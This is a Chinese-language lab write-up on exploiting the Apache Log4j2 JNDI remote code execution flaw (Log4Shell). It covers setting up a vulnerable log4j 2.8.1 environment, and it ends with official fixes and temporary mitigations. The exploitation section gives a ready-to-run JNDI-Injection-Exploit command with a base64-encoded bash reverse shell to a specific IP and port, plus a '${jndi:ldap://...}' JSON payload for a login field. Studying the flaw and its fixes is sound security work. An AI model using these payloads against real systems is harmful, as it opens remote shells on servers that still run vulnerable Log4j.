（工具记录）Log4j2_RCE

 0x00 简介

        ApacheLog4j2是一个开源的Java日志框架，被广泛地应用在中间件、开发框架与Web应用中。

0x01 漏洞概述

        该漏洞是由于Apache Log4j2某些功能存在递归解析功能，未经身份验证的攻击者通过发送特定恶意数据包，可在目标服务器上执行任意代码。

0x02 影响范围

Apache Log4j 2.x <= 2.15.0-rc1

0x03 环境搭建

https://github.com/dbgee/log4j2_rce/releases/download/0.0.1/log4j2_rce-0.0.1.jar

1、该测试环境使用log4j2.8.1版本，在影响范围内

<!-- log4j2核心包 -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.8.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.8.1</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>

0x04 漏洞利用

1、使用JNDI-Injection-Exploit便捷地生成恶意class，其中base64内容即命令

java -jar JNDI-Injection-Exploit-1.0.jar -C "bash -c {echo,YmFzaCAtaSA+IC9kZXYvdGNwLzQ1LjguMTQ2LjI5Lzg4ODggMD4mM==}|{base64,-d}|{bash,-i}" -A  "Your IP"

 2、发送对应情况的payload到测试环境

{"username":"${jndi:ldap://your ip:1389/wbzkx8}",
"password":"123"}

如果和我一样写的反弹shell命令，即可反弹shell成功

 0x05 修复方式 

目前，Apache官方已发布新版本完成漏洞修复，建议用户尽快进行自查，并及时升级至最新版本：

https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

建议同时采用如下临时措施进行漏洞防范：

1）添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true；

2）在应用classpath下添加log4j2.component.properties配置文件，文件内容为log4j2.formatMsgNoLookups=true；

3）JDK使用11.0.1、8u191、7u201、6u211及以上的高版本；

4）部署使用第三方防火墙产品进行安全防护。

链接：

GitHub - dbgee/log4j2_rce: log4j2 rce、poc

GitHub - welk1n/JNDI-Injection-Exploit: JNDI注入测试工具（A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc）